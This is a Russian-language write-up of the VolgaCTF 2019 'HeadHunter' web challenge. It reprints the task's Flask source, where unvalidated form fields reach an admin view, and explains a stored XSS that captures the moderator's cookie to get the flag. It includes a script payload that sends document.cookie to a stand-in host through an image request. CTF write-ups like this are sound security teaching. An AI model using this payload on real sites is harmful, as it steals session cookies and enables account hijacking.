Volga CTF 2019 Qualifier: Задание HeadHunter

от автора

Привет! С 29 по 31 марта проходил отборочный тур VolgaCTF.

Организаторы подготовили большое количество заданий в разных категориях (кстати, в том числе была представлена новая — fake, задания на поиск дезинформации).

Цель задания HeadHunter, как и всех остальных — получение секретного ключа. Приступая к заданию получаем файл WEB.py и ссылку на сайт.

Поиск уязвимостей

Сразу идем по ссылке, видим приветственное сообщение. Регистрируемся. Во вкладке Vocation наблюдаем форму из нескольких полей:

Вводим любую информацию и пытаемся отправить. Форма отправляется успешно и во вкладке My Requests List видим нашу заявку в ожидании. Через пару десятков секунд ее статус меняется на «просмотрено»:

Взглянем на прикрепленный файл.

WEB.py

def create_app(test_config=None):     app = Flask(__name__)     app.config.from_mapping(test_config)      # a simple page that says hello     @app.route('/home', methods=['GET'])     def home():         if 'token' in session:             session['username'] = check_token(session['token'])             if 'username' in session:                 if session['username'] == 'admin':                     return render_template('home_admin.html', flag=FLAG)                 else:                     return render_template('home.html', cvs_list=db_get_user_cv(session['username']))             else:                 session.pop('username', None)                 session.pop('token', None)         else:             return redirect(url_for('main'))       @app.route("/cv/<cvid>", methods=['GET', 'DELETE'])     def work_cv(cvid):         if 'token' in session:             session['username'] = check_token(session['token'])             if 'username' in session:                 if session['username'] == 'admin':                     db_check_cv(cvid)                     cv_work = db_get_cv(cvid)                     if cv:                         cv_data = []                         k = cv_work.keys()                         for key in k:                             temp = {"key": key, "value": cv_work[key]}                             cv_data.append(temp)                         return render_template('cv_admin.html', id=cvid, cv_data=cv_data)             session.pop('username', None)             session.pop('token', None)         return redirect(url_for('main'))      @app.route("/cv_list", methods=['GET', 'DELETE'])     def cv_list():         if 'token' in session:             session['username'] = check_token(session['token'])             if 'username' in session:                 if session['username'] == 'admin':                     # TODO                     return render_template('all_cvs.html', cvs_list=db_get_new_cv())             session.pop('username', None)             session.pop('token', None)         return redirect(url_for('main'))      @app.route('/login', methods=['GET', 'POST'])     def login():         if 'token' in session:             return redirect(url_for('home'))         if request.method == 'GET':             return render_template('login.html')         else:             u_login = request.form.get('login')             u_password = request.form.get('password')             if u_login and u_password:                 user = db_find_user(u_login, u_password)                 if user:                     session['username'] = u_login                     session['token'] = token_generator()                     db_update_user_token(u_login, u_password, session['token'])                     return redirect(url_for('home'))          session['last_error'] = "Username or password wrong :("         session['last_url'] = "/login"         return redirect(url_for('error'))      @app.route('/', methods=['GET'])     def main():         if 'token' in session:             session['username'] = check_token(session['token'])             if 'username' in session:                 if session['username'] == 'admin':                     return redirect(url_for('home'))                 return render_template('main_auth.html')             else:                 session.pop('username', None)                 session.pop('token', None)         else:             return render_template('main.html')      @app.route('/registration', methods=['GET', 'POST'])     def registration():         if 'token' in session:             return redirect(url_for('home'))         if request.method == 'GET':             return render_template('registration.html')         else:             u_login = request.form.get('username')             u_password = request.form.get('password')             if u_login and u_password:                 user = db_find_user(u_login, u_password)                 if user:                     session['last_error'] = "User already exist :("                     session['last_url'] = "/registration"                     return redirect(url_for('error'))                 else:                     session['username'] = u_login                     session['token'] = token_generator()                     db_add_user(u_login, u_password, session['token'])                     return redirect(url_for('home'))             return redirect(url_for('error'))      @app.route('/logout', methods=['GET'])     def logout():         session.pop('username', None)         session.pop('token', None)         return redirect(url_for('main'))      @app.route('/error', methods=['GET'])     def error():         if 'last_error' in session and 'last_url' in session:             if 'token' in session:                 session['username'] = check_token(session['token'])                 if 'username' in session:                     return render_template('error_auth.html', error=session['last_error'], back_url=session['last_url'])                 else:                     session.pop('username', None)                     session.pop('token', None)             else:                 return render_template('error.html', error=session['last_error'], back_url=session['last_url'])         else:             return render_template('error.html')      @app.route('/cv', methods=['GET', 'POST'])     def cv():         if 'token' in session:             session['username'] = check_token(session['token'])             if 'username' in session:                 if session['username'] == 'admin':                     return redirect(url_for('home'))                 if request.method == 'GET':                     return render_template('cv.html')                 else:                     cv_firstname = request.form.get('firstname')                     cv_lastname = request.form.get('lastname')                     cv_email = request.form.get('email')                     cv_phone = request.form.get('phone')                     cv_message = request.form.get('message')                     if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message:                         cv = request.form.to_dict()                         cv['user'] = session['username']                         cv['status'] = 'Wait'                         cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")                         if db_count_user_cv(cv['user']) > 9:                             session['last_error'] = "Maximum of request reached :("                             session['last_url'] = "/home"                             return redirect(url_for('error'))                         db_add_cv(cv)                         return redirect(url_for('home'))                     else:                         session['last_error'] = "The request is not correct :("                         session['last_url'] = "/cv"                         return redirect(url_for('error'))             session.pop('username', None)             session.pop('token', None)         return redirect(url_for('main'))      @app.errorhandler(404)     def page_not_found(e):         return render_template('error.html', error="404: Page not found!", back_url="/"), 404      return app 

Сразу пытаемся найти код, который обрабатывает отправленную форму:

@app.route('/cv', methods=['GET', 'POST'])     def cv():         if 'token' in session:             session['username'] = check_token(session['token'])             if 'username' in session:                 if session['username'] == 'admin':                     return redirect(url_for('home'))                 if request.method == 'GET':                     return render_template('cv.html')                 else:                     cv_firstname = request.form.get('firstname')                     cv_lastname = request.form.get('lastname')                     cv_email = request.form.get('email')                     cv_phone = request.form.get('phone')                     cv_message = request.form.get('message')                     if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message:                         cv = request.form.to_dict()                         cv['user'] = session['username']                         cv['status'] = 'Wait'                         cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")                         if db_count_user_cv(cv['user']) > 9:                             session['last_error'] = "Maximum of request reached :("                             session['last_url'] = "/home"                             return redirect(url_for('error'))                         db_add_cv(cv)                         return redirect(url_for('home'))                     else:                         session['last_error'] = "The request is not correct :("                         session['last_url'] = "/cv"                         return redirect(url_for('error'))             session.pop('username', None)             session.pop('token', None)         return redirect(url_for('main')) 

Вызов request.form.to_dict() сериализует форму и после «валидации» и небольшой модификации db_add_cv(cv) сохраняют все данные, что пришли с формой.
Далее, когда виртуальный модератор открывает заявку, ему также отдается всё, что нехорошие люди смогли загрузить в базу:

    @app.route("/cv/<cvid>", methods=['GET', 'DELETE'])     def work_cv(cvid):         if 'token' in session:             session['username'] = check_token(session['token'])             if 'username' in session:                 if session['username'] == 'admin':                     db_check_cv(cvid)                     cv_work = db_get_cv(cvid)                     if cv:                         cv_data = []                         k = cv_work.keys()                         for key in k:                             temp = {"key": key, "value": cv_work[key]}                             cv_data.append(temp)                         return render_template('cv_admin.html', id=cvid, cv_data=cv_data)             session.pop('username', None)             session.pop('token', None)         return redirect(url_for('main')) 

db_get_cv(cvid) получает данные из базы и после небольшой структурной модификации отдает все данные в темплейт.

Атака

Такое сочетание фактов наталкивает на мысли о возможной XSS уязвимости.
Пытаемся выполнить типовую атаку и своровать куки, используя Image src для обхода доменных ограничений:

<script language="javascript">     var img = new Image();     img.src = 'example.com?' + document.cookie;     document.body.appendChild(img); </script>

Мы предполагаем, что никакой защиты нет и текст сообщения встраивается в DOM без всяких проверок. В этом случае, код внутри тега script начнет свое выполнение. Он создаст элемент (картинку) и назначит ей источник, после чего добавит элемент в DOM. Это, в свою очередь, вынудит браузер попробовать загрузить ее, осуществив запрос на наш сервер.

Теперь просто включаем в запрос с формой дополнительное поле с нашим скриптом, отправляем и ждем. Статус меняется на «просмотрено», а на сервер приходит запрос с куки в query параметре.

Остался последний шаг — берем куки, устанавливаем их на сайте, обновляем страницу и получаем ключ:

Задание решено.

ссылка на оригинал статьи https://habr.com/ru/post/486574/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *